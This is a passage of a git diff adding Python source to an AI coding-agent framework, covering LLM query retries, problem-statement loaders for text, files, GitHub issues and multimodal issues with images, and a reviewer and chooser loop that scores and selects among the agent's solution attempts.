-> list[dict]: + if n is None: + return self._single_query(messages, temperature=temperature) + outputs = [] + # not needed for openai, but oh well. + for _ in range(n): + outputs.extend(self._single_query(messages)) + return outputs + + def query(self, history: History, n: int = 1, temperature: float | None = None) -> list[dict] | dict: + messages = self._history_to_messages(history) + + def retry_warning(retry_state: RetryCallState): + exception_info = "" + if attempt.retry_state.outcome is not None and attempt.retry_state.outcome.exception() is not None: + exception = attempt.retry_state.outcome.exception() + exception_info = f" due to {exception.__class__.__name__}: {str(exception)}" + + self.logger.warning( + f"Retrying LM query: attempt {attempt.retry_state.attempt_number} " + f"(slept for {attempt.retry_state.idle_for:.2f}s)" + f"{exception_info}" + ) + + for attempt in Retrying( + stop=stop_after_attempt(self.config.retry.retries), + wait=wait_random_exponential(min=self.config.retry.min_wait, max=self.config.retry.max_wait), + reraise=True, + retry=retry_if_not_exception_type( + ( + ContextWindowExceededError, + CostLimitExceededError, + RuntimeError, + litellm.exceptions.UnsupportedParamsError, + litellm.exceptions.NotFoundError, + litellm.exceptions.PermissionDeniedError, + litellm.exceptions.ContextWindowExceededError, + litellm.exceptions.APIError, + litellm.exceptions.ContentPolicyViolationError, + TypeError, + litellm.exceptions.AuthenticationError, + ContentPolicyViolationError, + ModelConfigurationError, + KeyboardInterrupt, + IndexError, + ) + ), + before_sleep=retry_warning, + ): + with attempt: + result = self._query(messages, n=n, temperature=temperature) + if n is None or n == 1: + return result[0] + return result + + def _history_to_messages( + self, + history: History, + ) -> list[dict[str, str]]: + history = copy.deepcopy(history) + + def get_role(history_item: HistoryItem) -> str: + if history_item["role"] == "system": + return "user" if self.config.convert_system_to_user else "system" + return history_item["role"] + + messages = [] + for history_item in history: + role = get_role(history_item) + if role == "tool": + message = { + "role": role, + "content": history_item["content"], + # Only one tool call per observations + "tool_call_id": history_item["tool_call_ids"][0], # type: ignore + } + elif (tool_calls := history_item.get("tool_calls")) is not None: + message = {"role": role, "content": history_item["content"], "tool_calls": tool_calls} + if thinking_blocks := history_item.get("thinking_blocks"): + message["thinking_blocks"] = thinking_blocks + else: + message = {"role": role, "content": history_item["content"]} + if "cache_control" in history_item: + message["cache_control"] = history_item["cache_control"] + messages.append(message) + n_cache_control = str(messages).count("cache_control") + self.logger.debug(f"n_cache_control: {n_cache_control}") + return messages + + +def get_model(args: ModelConfig, tools: ToolConfig) -> AbstractModel: + """Returns correct model object given arguments and commands""" + # Convert GenericAPIModelConfig to specific model config if needed + if isinstance(args, GenericAPIModelConfig) and not isinstance( + args, HumanModelConfig | HumanThoughtModelConfig | ReplayModelConfig | InstantEmptySubmitModelConfig + ): + if args.name == "human": + args = HumanModelConfig(**args.model_dump()) + elif args.name == "human_thought": + args = HumanThoughtModelConfig(**args.model_dump()) + elif args.name == "replay": + args = ReplayModelConfig(**args.model_dump()) + elif args.name == "instant_empty_submit": + args = InstantEmptySubmitModelConfig(**args.model_dump()) + + if args.name == "human": + assert isinstance(args, HumanModelConfig), f"Expected {HumanModelConfig}, got {args}" + return HumanModel(args, tools) + if args.name == "human_thought": + assert isinstance(args, HumanThoughtModelConfig), f"Expected {HumanThoughtModelConfig}, got {args}" + return HumanThoughtModel(args, tools) + if args.name == "replay": + assert isinstance(args, ReplayModelConfig), f"Expected {ReplayModelConfig}, got {args}" + return ReplayModel(args, tools) + elif args.name == "instant_empty_submit": + assert isinstance(args, InstantEmptySubmitModelConfig), f"Expected {InstantEmptySubmitModelConfig}, got {args}" + return InstantEmptySubmitTestModel(args, tools) + assert isinstance(args, GenericAPIModelConfig), f"Expected {GenericAPIModelConfig}, got {args}" + return LiteLLMModel(args, tools) diff --git a/sweagent/agent/problem_statement.py b/sweagent/agent/problem_statement.py new file mode 100644 index 0000000..881d54b --- /dev/null +++ b/sweagent/agent/problem_statement.py @@ -0,0 +1,313 @@ +import base64 +import hashlib +import os +import uuid +from pathlib import Path +from typing import Any, Literal, Protocol +from urllib.parse import urlparse + +import requests +from pydantic import BaseModel, ConfigDict, Field, PrivateAttr + +from sweagent.utils.github import _get_problem_statement_from_github_issue, _parse_gh_issue_url +from sweagent.utils.log import get_logger + +logger = get_logger("swea-config", emoji="🔧") + +# Constants for image processing +VALID_IMAGE_MIME_TYPES = { + "image/png", + "image/jpeg", + "image/jpg", # Some servers return jpg instead of jpeg + "image/webp", +} + + +class ProblemStatement(Protocol): + """A problem statement for a task. Any class that implements this protocol + can be used as a problem statement. + """ + + id: str + + def get_problem_statement(self) -> str: ... + + def get_problem_statement_for_env(self) -> str: + """Used for setting environment variables in the container. + + By default, this is the same as get_problem_statement(). + """ + return self.get_problem_statement() + + def get_extra_fields(self) -> dict[str, Any]: ... + + +class _BuiltinProblemStatementBase(BaseModel): + """A base class for the builtin problem statements to avoid typing much""" + + def get_problem_statement(self) -> str: ... + + def get_problem_statement_for_env(self) -> str: + return self.get_problem_statement() + + def get_extra_fields(self) -> dict[str, Any]: + return {} + + +class EmptyProblemStatement(_BuiltinProblemStatementBase): + id: str = Field(default_factory=lambda: str(uuid.uuid4())) + type: Literal["empty"] = "empty" + """Discriminator for (de)serialization/CLI. Do not change.""" + + model_config = ConfigDict(extra="forbid") + + def get_problem_statement(self) -> str: + return "" + + +class TextProblemStatement(_BuiltinProblemStatementBase): + text: str + + extra_fields: dict[str, Any] = Field(default_factory=dict) + """Any additional data to be added to the instance. + This data will be available when formatting prompt templates. + """ + + type: Literal["text"] = "text" + """Discriminator for (de)serialization/CLI. Do not change.""" + + id: str = None # type: ignore + + model_config = ConfigDict(extra="forbid") + + def model_post_init(self, __context: Any) -> None: + if self.id is None: + logger.info("Setting problem statement id to hash of text") + self.id = hashlib.sha256(self.text.encode()).hexdigest()[:6] + + def get_problem_statement(self) -> str: + return self.text + + def get_extra_fields(self) -> dict[str, Any]: + return self.extra_fields + + def __repr__(self) -> str: + return f"TextProblemStatement(id={self.id}, text={self.text[:30]}...)" + + def __str__(self) -> str: + return f"id={self.id}, text={self.text[:30]}..." + + +class FileProblemStatement(_BuiltinProblemStatementBase): + path: Path + + extra_fields: dict[str, Any] = Field(default_factory=dict) + """Any additional data to be added to the instance. + This data will be available when formatting prompt templates. + """ + + type: Literal["text_file"] = "text_file" + """Discriminator for (de)serialization/CLI. Do not change.""" + + id: str = None # type: ignore + + model_config = ConfigDict(extra="forbid") + + def model_post_init(self, __context: Any) -> None: + if self.id is None: + logger.info("Setting problem statement id to hash of file contents (path: %s)", self.path) + self.id = hashlib.sha256(self.get_problem_statement().encode()).hexdigest()[:6] + + def get_problem_statement(self) -> str: + return self.path.read_text() + + def get_extra_fields(self) -> dict[str, Any]: + return self.extra_fields + + +class GithubIssue(_BuiltinProblemStatementBase): + github_url: str + + extra_fields: dict[str, Any] = Field(default_factory=dict) + """Any additional data to be added to the instance. + This data will be available when formatting prompt templates. + """ + + type: Literal["github"] = "github" + """Discriminator for (de)serialization/CLI. Do not change.""" + + id: str = None # type: ignore + + model_config = ConfigDict(extra="forbid") + + def model_post_init(self, __context: Any) -> None: + if self.id is None: + logger.info("Setting problem statement based on github issue url") + owner, repo, issue_number = _parse_gh_issue_url(self.github_url) + self.id = f"{owner}__{repo}-i{issue_number}" + + def get_problem_statement(self) -> str: + owner, repo, issue_number = _parse_gh_issue_url(self.github_url) + return _get_problem_statement_from_github_issue(owner, repo, issue_number, token=os.getenv("GITHUB_TOKEN")) + + def get_extra_fields(self) -> dict[str, Any]: + return self.extra_fields + + +class SWEBenchMultimodalProblemStatement(_BuiltinProblemStatementBase): + text: str + + issue_images: list[str] = Field(default_factory=list) + """List of image asset URLs. + """ + + disable_image_processing: bool = False + """If True, skip image downloading and processing, treating this as a text-only problem statement. + """ + + extra_fields: dict[str, Any] = Field(default_factory=dict) + """Any additional data to be added to the instance. + This data will be available when formatting prompt templates. + """ + + type: Literal["swe_bench_multimodal"] = "swe_bench_multimodal" + """Discriminator for (de)serialization/CLI. Do not change.""" + + id: str = None # type: ignore + + _cached_problem_statement: str | None = PrivateAttr(default=None) + + model_config = ConfigDict(extra="forbid") + + def model_post_init(self, __context: Any) -> None: + if self.id is None: + logger.info("Setting problem statement id to hash of text") + self.id = hashlib.sha256(self.text.encode()).hexdigest()[:6] + + def get_problem_statement_for_env(self) -> str: + """Return the problem statement without images. + + Images are not supported in the environment. + """ + return self.text + + def get_problem_statement(self) -> str: + if self.disable_image_processing: + logger.info("Image processing disabled, returning text-only problem statement") + return self.text + + if self._cached_problem_statement is not None: + return self._cached_problem_statement + + processed_text = self.text + for link in self.issue_images: + try: + image_markdown = self._download_and_convert_image(link) + if image_markdown: + processed_text += f"\n\n{image_markdown}" + except Exception as e: + logger.warning(f"Failed to process image from {link}: {e}") + + # cache to avoid re-processing images + self._cached_problem_statement = processed_text + return processed_text + + def get_extra_fields(self) -> dict[str, Any]: + return self.extra_fields + + def _download_and_convert_image(self, url: str) -> str | None: + """Download an image from URL and convert it to base64 markdown format. + + Args: + url: The URL of the image to download + + Returns: + Base64 markdown string if successful, None if failed + + Raises: + Various exceptions for network/processing errors + """ + try: + parsed_url = urlparse(url) + if not parsed_url.scheme or not parsed_url.netloc: + logger.warning(f"Invalid URL format: {url}") + return None + headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.133 Safari/537.36" + } + response = requests.get(url, headers=headers, timeout=30, stream=True) + response.raise_for_status() + # strip any media type parameters (e.g. "image/png; charset=utf-8") before validation + content_type = response.headers.get("content-type", "").split(";")[0].strip().lower() + if content_type == "image/jpg": + content_type = "image/jpeg" + if content_type not in VALID_IMAGE_MIME_TYPES: + logger.warning(f"Unsupported image MIME type '{content_type}' for URL: {url}. Not encoding image.") + return None + max_size = 10 * 1024 * 1024 # 10MB + content_length = response.headers.get("content-length") + if content_length and int(content_length) > max_size: + logger.warning(f"Image too large ({content_length} bytes) for URL: {url}") + return None + image_data = b"" + for chunk in response.iter_content(chunk_size=8192): + image_data += chunk + if len(image_data) > max_size: + logger.warning(f"Image too large (>{max_size} bytes) for URL: {url}") + return None + if not image_data: + logger.warning(f"Empty image data for URL: {url}") + return None + b64_data = base64.b64encode(image_data).decode("ascii") + markdown = f"![{url}](data:{content_type};base64,{b64_data})" + logger.info(f"Successfully processed image from {url} ({len(image_data)} bytes, {content_type})") + return markdown + + except requests.exceptions.Timeout: + logger.warning(f"Timeout downloading image from {url}") + return None + except requests.exceptions.RequestException as e: + logger.warning(f"Network error downloading image from {url}: {e}") + return None + except Exception as e: + logger.warning(f"Unexpected error processing image from {url}: {e}") + return None + + def __repr__(self) -> str: + n_images = len(self.issue_images) + return f"SWEBenchMultimodalProblemStatement(id={self.id}, text={self.text[:30]}..., images={n_images})" + + def __str__(self) -> str: + n_images = len(self.issue_images) + return f"id={self.id}, text={self.text[:30]}..., images={n_images}" + + +ProblemStatementConfig = ( + TextProblemStatement + | SWEBenchMultimodalProblemStatement + | GithubIssue + | EmptyProblemStatement + | FileProblemStatement +) + + +def problem_statement_from_simplified_input( + *, input: str, type: Literal["text", "text_file", "github_issue", "swe_bench_multimodal"] +) -> ProblemStatementConfig: + """Get a problem statement from an `input` string and a `type`. + + Args: + input: Url/path/text + type: The type of problem statement + """ + if type == "text": + return TextProblemStatement(text=input) + elif type == "text_file": + return FileProblemStatement(path=Path(input)) + elif type == "github_issue": + return GithubIssue(github_url=input) + elif type == "swe_bench_multimodal": + return SWEBenchMultimodalProblemStatement(text=input) + else: + msg = f"Unknown problem statement type: {type}" + raise ValueError(msg) diff --git a/sweagent/agent/reviewer.py b/sweagent/agent/reviewer.py new file mode 100644 index 0000000..546441e --- /dev/null +++ b/sweagent/agent/reviewer.py @@ -0,0 +1,664 @@ +"""The reviewer implements a retry loop for the agent to retry +solving the issue and to select the best solution. +""" + +from __future__ import annotations + +import copy +import re +from abc import ABC, abstractmethod +from typing import Any, Literal + +import numpy as np +from jinja2 import Template +from pydantic import BaseModel, ConfigDict + +from sweagent.agent.history_processors import _set_cache_control +from sweagent.agent.models import ( + AbstractModel, + InstanceStats, + ModelConfig, + get_model, +) +from sweagent.agent.problem_statement import ProblemStatement +from sweagent.tools.parsing import ActionParser +from sweagent.tools.tools import ToolConfig +from sweagent.types import AgentInfo, Trajectory, TrajectoryStep +from sweagent.utils.log import get_logger + + +class ReviewSubmission(BaseModel): + """Information that's passed to the reviewer""" + + #: Total trajectory (including several retries) + trajectory: Trajectory + #: Aggregate info dict (including several retries) + info: AgentInfo + #: Model stats for this attempt + model_stats: InstanceStats + + def to_format_dict(self, *, suffix="") -> dict[str, Any]: + """Return all the data that is used to format the + messages. Trajectory is excluded because it needs special treatment. + """ + out = {} + info = copy.deepcopy(self.info) + if not info.get("submission"): + # Observed that not all exit_cost lead to autosubmission + # so sometimes this might be missing. + info["submission"] = "" + for k, v in info.items(): + if isinstance(v, str): + out[f"{k}{suffix}"] = v + elif isinstance(v, dict): + for k2, v2 in v.items(): + out[f"{k}_{k2}{suffix}"] = v2 + return out + + +class ReviewerResult(BaseModel): + accept: bool | float + outputs: list[str] + messages: list[dict[str, Any]] + + +class PreselectorOutput(BaseModel): + chosen_idx: list[int] + response: str + messages: list[dict[str, Any]] + + +class ChooserOutput(BaseModel): + chosen_idx: int + response: str + preselector_output: PreselectorOutput | None = None + messages: list[dict[str, Any]] + + +# --- INTERFACES --- + + +class AbstractReviewer(ABC): + """The reviewer checks a single solution and tries to predict + if it successfully solves the issue. + """ + + @abstractmethod + def review(self, instance: ProblemStatement, submission: ReviewSubmission) -> ReviewerResult: + """Returns True if the submission is believed to be correct""" + + +class AbstractRetryLoop(ABC): + """The review loop controls how often the agent tries to solve + the issue and how it selects the best solution. + """ + + def retry(self) -> bool: + """Returns True if the agent should retry solving the issue""" + return False + + def on_submit(self, submission: ReviewSubmission) -> None: + """Called when the agent submits a solution""" + + def on_model_query(self, attempt_stats: InstanceStats): + """Called before the model is queried. Can be used to implement + stop conditions based on attempt cost etc. + """ + + def on_attempt_started(self, i_attempt: int, agent): + """Called when a new attempt is started""" + pass + + @abstractmethod + def get_best(self) -> int: + """Returns the best solution""" + + def get_forwarded_vars(self) -> dict[str, Any]: + """Get the variables that should be forwarded to the next iteration. + + Returns: + A dictionary of variables that should be forwarded to the next iteration. + """ + return {} + + +# --- CONFIGS --- + + +class PreselectorConfig(BaseModel): + model: ModelConfig + system_template: str + instance_template: str + submission_template: str + max_len_submission: int = 5000 + + +class ChooserConfig(BaseModel): + model: ModelConfig + system_template: str + instance_template: str + submission_template: str + max_len_submission: int = 5000 + preselector: PreselectorConfig | None = None + + +class TrajFormatterConfig(BaseModel): + #: Filter the following actions from the trajectory + filter: list[str] = [] + #: Filter outputs from the following actions from the trajectory + output_filter: list[str] = [] + #: Format of the trajectory item + item_template: str = "Model: {{response}}\n\nObservation: {{observation}}" + only_show_last_n_output: int = 0 + + model_config = ConfigDict(extra="forbid") + + +class ReviewerConfig(BaseModel): + """The configuration for the reviewer""" + + system_template: str + instance_template: str + #: If a submission autosubmits because of total cost or a similar exit status, + #: it will get this malus to its score + failure_score_penalty: float = 0.0 + traj_formatter: TrajFormatterConfig + n_sample: int = 5 + reduce_by_std: float = 0.0 + score_range: tuple[float | None, float | None] = (None, None) + #: If set, we assume that the score is in the range [score_range[0], score_range[1]] + #: Reviews that are outside this range will be ignored + + type: Literal["reviewer"] = "reviewer" + + model_config = ConfigDict(extra="forbid") + + def get_reviewer(self, model: AbstractModel) -> AbstractReviewer: + return Reviewer(self, model) + + +class ChooserRetryLoopConfig(BaseModel): + type: Literal["chooser"] = "chooser" + chooser: ChooserConfig + + max_attempts: int + min_budget_for_new_attempt: float = 0.0 + """Minimal $ that need to be left in order for us to start a new attempt. + If set to 0: Always. + """ + + cost_limit: float + """The maximum cost to spend on all attempts. Does not include cost of choosing. + """ + + model_config = ConfigDict(extra="forbid") + + def get_retry_loop(self, problem_statement: ProblemStatement) -> ChooserRetryLoop: + return ChooserRetryLoop(self, problem_statement) + + +class ScoreRetryLoopConfig(BaseModel): + """The configuration for the review loop""" + + type: Literal["score"] = "score" + + reviewer_config: ReviewerConfig + + accept_score: float + max_accepts: int = 1 + max_attempts: int + + min_budget_for_new_attempt: float = 0.0 + """Minimal $ that need to be left in order for us to start a new attempt. + If set to 0: Always. + """ + + cost_limit: float + """The maximum cost to spend on all attempts and reviews except the last review. + The last review is not included in the cost limit, because we would waste the last + attempt if we couldn't score it. + """ + + model: ModelConfig + + model_config = ConfigDict(extra="forbid") + + def validate(self): + """Checks config. Raises `ValueError` in case of misconfiguration""" + ... + + def __post_init__(self): + self.validate() + + def get_retry_loop(self, problem_statement: ProblemStatement) -> ScoreRetryLoop: + return ScoreRetryLoop(self, problem_statement) + + +RetryLoopConfig = ScoreRetryLoopConfig | ChooserRetryLoopConfig + +# --- IMPLEMENTATIONS --- + + +class Preselector: + def __init__(self, config: PreselectorConfig): + self.config = config + self.model = get_model(config.model, ToolConfig(parse_function=ActionParser())) + self.logger = get_logger("chooser", emoji="🧠") + + def interpret(self, response: str) -> list[int]: + if not response: + self.logger.warning("No response from preselector") + return [] + # Use regex to extract the last number of the response + last_line = response.splitlines()[-1] + try: + return [int(i) for i in re.findall(r"\d+", last_line)] + except Exception as e: + self.logger.error(f"Error interpreting response: {e}") + return [] + + def format_submission(self, problem_statement: str, submission: ReviewSubmission) -> str: + if ( + submission.info.get("submission") is None + or len(submission.info.get("submission", "")) > self.config.max_len_submission > 0 # type: ignore + ): + return "Solution invalid." + return Template(self.config.submission_template).render( + **submission.to_format_dict(), + # summary=self.summarizer.summarize(problem_statement, submission.trajectory) if self.summarizer else "", + ) + + def build_messages(self, problem_statement: str, input: list[ReviewSubmission]) -> list[dict[str, Any]]: + instance_message = Template(self.config.instance_template).render( + problem_statement=problem_statement, + submissions=[self.format_submission(problem_statement, s) for s in input], + ) + self.logger.debug(f"MODEL INPUT (user)\n{instance_message}") + return [ + {"role": "system", "content": self.config.system_template}, + {"role": "user", "content": instance_message}, + ] + + def choose(self, problem_statement: str, input: list[ReviewSubmission]) -> PreselectorOutput: + messages = self.build_messages(problem_statement, input) + response = self.model.query(messages)["message"] # type: ignore + indices = self.interpret(response) + if not indices: + self.logger.warning("No indices found in response, using all indices") + indices = list(range(len(input))) + return PreselectorOutput(chosen_idx=indices, response=response, messages=messages) + + +class Chooser: + def __init__(self, config: ChooserConfig): + self.config = config + self.model = get_model(config.model, ToolConfig(parse_function=ActionParser())) + self.logger = get_logger("chooser", emoji="🧠") + # self.summarizer = Summarizer(config.summarizer, self.model) if config.summarizer else None + + def interpret(self, response: str) -> int: + # Use regex to extract the last number of the response + try: + return int(re.findall(r"\d+", response)[-1]) + except Exception as e: + self.logger.error(f"Error interpreting response: {e}") + return 0 + + def format_submission(self, problem_statement: str, submission: ReviewSubmission) -> str: + if ( + submission.info.get("submission") is None + or len(submission.info.get("submission", "")) > self.config.max_len_submission > 0 # type: ignore + ): + return "Solution invalid." + return Template(self.config.submission_template).render( + **submission.to_format_dict(), + # summary=self.summarizer.summarize(problem_statement, submission.trajectory) if self.summarizer else "", + ) + + def build_messages(self, problem_statement: str, input: list[ReviewSubmission]) -> list[dict[str, Any]]: + instance_message = Template(self.config.instance_template).render( + problem_statement=problem_statement, + submissions=[self.format_submission(problem_statement, s) for s in input], + ) + self.logger.debug(f"MODEL INPUT (user)\n{instance_message}") + return [ + {"role": "system", "content": self.config.system_template}, + {"role": "user", "content": instance_message}, + ] + + def choose(self, problem_statement: str, input: list[ReviewSubmission]) -> ChooserOutput: + preselector_output = None + selected_indices = list(range(len(input))) + n_submitted = sum(s.info.get("exit_status", "") == "submitted" for s in input) + if n_submitted >= 2: + self.logger.debug(f"Got {n_submitted} submitted submissions, only using them") + selected_indices = [i for i, s in enumerate(input) if s.info.get("exit_status", "") == "submitted"] + else: + self.logger.debug(f"Got only {n_submitted} submitted submissions, disabling exit status filtering") + if self.config.preselector and len(selected_indices) > 2: + preselector = Preselector(self.config.preselector) + try: + preselector_output = preselector.choose(problem_statement, [input[i] for i in selected_indices]) + except Exception as e: + self.logger.critical(f"Preselector failed: {e}", exc_info=True) + preselector_output = None + if preselector_output and preselector_output.chosen_idx: + try: + _preselected_indices = [selected_indices[i] for i in preselector_output.chosen_idx] + except IndexError: + _preselected_indices = [] + self.logger.error("Preselector gave invalid indices, ignoring it.") + if not _preselected_indices: + self.logger.error("Preselector gave no valid indices, ignoring it.") + else: + selected_indices = _preselected_indices + else: + self.logger.error("Preselector must have failed, ignoring it.") + messages = self.build_messages(problem_statement, [input[i] for i in selected_indices]) + chosen_idx = None + try: + response = self.model.query(messages)["message"] # type: ignore + chosen_idx = self.interpret(response) + except Exception as e: + self.logger.critical(f"Chooser failed: {e}", exc_info=True) + chosen_idx = None + if chosen_idx is None or not (0 <= chosen_idx < len(selected_indices)): + self.logger.error(f"Invalid chosen index: {chosen_idx}, using first index") + chosen_idx = selected_indices[0] + else: + chosen_idx = selected_indices[chosen_idx] + return ChooserOutput( + chosen_idx=chosen_idx, response=response, preselector_output=preselector_output, messages=messages + ) + + +class Reviewer(AbstractReviewer): + def __init__(self, config: ReviewerConfig, model): + self._config = config + self._model = model + self._traj_formatter = TrajectoryFormatter(config=config.traj_formatter) + self.logger = get_logger("reviewer", emoji="🧑‍⚖️") + + def format_messages(self, instance: ProblemStatement, submission: ReviewSubmission): + system_message = self._config.system_template + self.logger.debug(f"MODEL INPUT (system)\n{system_message}") + ps_format_dict = { + "problem_statement": instance.get_problem_statement(), + **instance.get_extra_fields(), + } + user_message = Template(self._config.instance_template).render( + **ps_format_dict, + **submission.to_format_dict(), + traj=self._traj_formatter.format_trajectory(submission.trajectory), + ) + self.logger.debug(f"MODEL INPUT (user)\n{user_message}") + return [ + {"role": "system", "content": system_message}, + {"role": "user", "content": user_message}, + ] + + def interpret(self, response: str) -> bool | float: + last_line = response.strip().split("\n")[-1].strip() + # Find all numbers in the last line and take the last one + numbers = re.findall(r"-?\d+\.?\d*", last_line) + if not numbers: + msg = f"Could not interpret response: {last_line!r}" + raise ValueError(msg) + number = float(numbers[-1]) + if self._config.score_range[0] is not None and number < self._config.score_range[0]: + msg = f"Score {number} is below the minimum score {self._config.score_range[0]}" + raise ValueError(msg) + if self._config.score_range[1] is not None and number > self._config.score_range[1]: + msg = f"Score {number} is above the maximum score {self._config.score_range[1]}" + raise ValueError(msg) + return number + + def review(self, instance: ProblemStatement, submission: ReviewSubmission) -> ReviewerResult: + exit_status = submission.info.get("exit_status") + messages = [] + penalty = 0.0 + if not exit_status or exit_status.strip() != "submitted": + penalty = self._config.failure_score_penalty + messages = self.format_messages(instance, submission) + if self._config.n_sample > 1: + _set_cache_control(messages[-1]) # type: ignore + answers = [] + accepts = [] + for _ in range(self._config.n_sample): + try: + answer = self._model.query(messages)["message"] + except Exception as e: + self.logger.warning(f"Query failed: {e}", exc_info=True) + continue + try: + score = self.interpret(answer) + except ValueError as e: + self.logger.warning(f"Could not interpret response: {answer!r}, got {e}") + continue + answers.append(answer) + accepts.append(score) + if not accepts: + answers = ["No valid scores found, failing submission"] + accepts = [-100.0] + accept = sum(accepts) / len(accepts) - penalty + std = np.std(accepts).item() + if self._config.reduce_by_std > 0: + accept -= std * self._config.reduce_by_std + self.logger.info(f"First answer: {answers[0]}") + self.logger.info(f"Final score: {accept} (penalty: {penalty}, std: {std}), individual: {accepts}") + return ReviewerResult(accept=accept, outputs=answers, messages=messages) + + +# todo: Couldn't I just replace the whole thing with Jinja templates? + + +class TrajectoryFormatter: + def __init__( + self, + config: TrajFormatterConfig, + ): + """Formats trajectories for the use in prompts""" + self._config = config + + def _include_step(self, item: TrajectoryStep) -> bool: + action = item["action"].strip() + for f in self._config.filter: + if action.startswith(f): + return False + return True + + def _include_step_output(self, item: TrajectoryStep, i_step: int, n_steps: int) -> bool: + if self._config.only_show_last_n_output > 0 and i_step < n_steps - self._config.only_show_last_n_output: + return False + action = item["action"].strip() + for f in self._config.output_filter: + if action.startswith(f): + return False + return True + + def _format_trajectory_step(self, step: TrajectoryStep, i_step: int, *, n_steps: int, i_traj: int = 1) -> str: + step = copy.deepcopy(step) + if not self._include_step_output(step, i_step, n_steps=n_steps): + step["observation"] = "[Output omitted]" + return Template(self._config.item_template).render( + **step, + i_step=i_step, + i_traj=i_traj, + ) + + def format_trajectory(self, trajectory: Trajectory, i_traj: int = 1) -> str: + traj_messages = [step for step in trajectory if self._include_step(step)] + return "\n\n".join( + [ + self._format_trajectory_step(step, i_step, i_traj=i_traj, n_steps=len(traj_messages)) + for i_step, step in enumerate(traj_messages) + ] + ) + + +class ChooserRetryLoop(AbstractRetryLoop): + def __init__(self, config: ChooserRetryLoopConfig, problem_statement: ProblemStatement): + self._config = config + self._problem_statement = problem_statement + self._chooser = Chooser(config.chooser) + self._submissions: list[ReviewSubmission] = [] + self._n_consec_exit_cost: int = 0 + self.logger = get_logger("chooser_loop", emoji="🔄") + self._chooser_output: ChooserOutput | None = None + + @property + def _total_stats(self) -> InstanceStats: + return sum((s.model_stats for s in self._submissions), start=InstanceStats()) + + @property + def review_model_stats(self) -> InstanceStats: + return InstanceStats() + + @property + def _n_attempts(self) -> int: + return len(self._submissions) + + def on_submit(self, submission: ReviewSubmission) -> None: + self._submissions.append(submission) + + def retry(self) -> bool: + stat_str = f"n_samples={self._n_attempts}" + if self._total_stats.instance_cost > self._config.cost_limit > 0: + self.logger.info( + f"Exiting retry loop ({stat_str}): Total attempt cost ({self._total_stats.instance_cost}) " + f"exceeds cost limit ({self._config.cost_limit})" + ) + return False + + if self._n_attempts >= self._config.max_attempts > 0: + self.logger.info(f"Exiting retry loop ({stat_str}): max_attempts={self._config.max_attempts} reached") + return False + + remaining_budget = self._config.cost_limit - self._total_stats.instance_cost + if self._config.min_budget_for_new_attempt > 0 and remaining_budget < self._config.min_budget_for_new_attempt: + msg = ( + f"Exiting retry loop ({stat_str}): Not enough budget left for a new attempt " + f"({remaining_budget} remaining, {self._config.min_budget_for_new_attempt} required)" + ) + self.logger.info(msg) + return False + + return True + + def get_best(self) -> int | None: + """Important note: This is cached. Only call this at the end.""" + if self._chooser_output is not None: + return self._chooser_output.chosen_idx + if len(self._submissions) == 0: + return None + self._chooser_output = self._chooser.choose(self._problem_statement.get_problem_statement(), self._submissions) + return self._chooser_output.chosen_idx + + +# todo: The model shouldn't be defined here, it should be defined as part of the scorer +class ScoreRetryLoop(AbstractRetryLoop): + def __init__( + self, + config: ScoreRetryLoopConfig, + problem_statement: ProblemStatement, + ): + # This model will not share instance cost with the parent agent + self._model = get_model(config.model, tools=ToolConfig()) + self._problem_statement = problem_statement + self._reviewer: AbstractReviewer = config.reviewer_config.get_reviewer(self._model) + self._config = config + # Note: These are "cumulative" submissions, i.e., they include all retries + # up to that point. + self._submissions: list[ReviewSubmission] = [] + self._reviews: list[ReviewerResult] = [] + #: Number of consecutive exit cost submissions + self._n_consec_exit_cost: int = 0 + self.logger = get_logger("review_loop", emoji="🔄") + + # Properties + # ---------- + + @property + def review_model_stats(self) -> InstanceStats: + return self._model.stats + + @property + def reviews(self) -> list[ReviewerResult]: + return self._reviews + + @property + def _n_attempts(self) -> int: + return len(self._submissions) + + @property + def _n_accepted(self) -> int: + return sum(r.accept >= self._config.accept_score for r in self._reviews) + + @property + def _total_stats(self) -> InstanceStats: + return sum((s.model_stats for s in self._submissions), start=InstanceStats()) + self._model.stats + + # ------- + + def on_submit(self, submission: ReviewSubmission) -> None: + self._submissions.append(submission) + self._review() + + def _review(self) -> float: + review = self._reviewer.review(self._problem_statement, self._submissions[-1]) + self._reviews.append(review) + exit_status = self._submissions[-1].info.get("exit_status", "") + if exit_status and "exit_cost" in exit_status.lower(): + self._n_consec_exit_cost += 1 + else: + self._n_consec_exit_cost = 0 + return review.accept + + def retry(self) -> bool: + max_score = max([r.accept for r in self._reviews], default=-100.0) + stat_str = f"n_samples={self._n_attempts}, max_score={max_score}, n_accepted={self._n_accepted}" + + if self._total_stats.instance_cost > self._config.cost_limit > 0: + self.logger.info( + f"Exiting retry loop ({stat_str}): Total attempt cost ({self._total_stats.instance_cost}) " + f"exceeds cost limit ({self._config.cost_limit})" + ) + return False + + if self._n_attempts >= self._config.max_attempts > 0: + self.logger.info(f"Exiting retry loop ({stat_str}): max_attempts={self._config.max_attempts} reached") + return False + + if self._n_accepted >= self._config.max_accepts > 0: + self.logger.info(f"Exiting retry loop ({stat_str}): max_accepts={self._config.max_accepts} reached") + return False + + remaining_budget = self._config.cost_limit - self._total_stats.instance_cost + if self._config.min_budget_for_new_attempt > 0 and remaining_budget < self._config.min_budget_for_new_attempt: + msg = ( + f"Exiting retry loop ({stat_str}): Not enough budget left for a new attempt " + f"({remaining_budget} remaining, {self._config.min_budget_for_new_attempt} required)" + ) + self.logger.info(msg) + return False + + return True + + def get_best(self) -> int | None: + if len(self._reviews) == 0: + return None + scores = [r.accept for r in self._reviews] + self.logger.debug(f"Scores: {scores}") + max_score = np.max(scores) + max_indices = [i for i, s in enumerate(scores) if np.isclose(s, max_score)] + # If there are multiple submissions with the same score, choose the shortest one + max_indices = sorted(max_indices, key=lambda i: self._submissions[i].model_stats.api_calls or float("inf")) + chosen_idx = max_indices[0] + self.logger.info(f"Best submission: {chosen_idx}") + return chosen_idx + + +def get_retry_loop_from_config( + config: RetryLoopConfig, problem_statement: ProblemStatement +) -> ScoreRetryLoop | ChooserRetryLoop: + return config.get_retry_loop(problem_statement=problem_statement) diff --git a/sweagent/environment/__init__.py b/sweagent/environment/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/environment/hooks/__init__.py b/sweagent/environment/hooks/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/environment/hooks/abstract.py 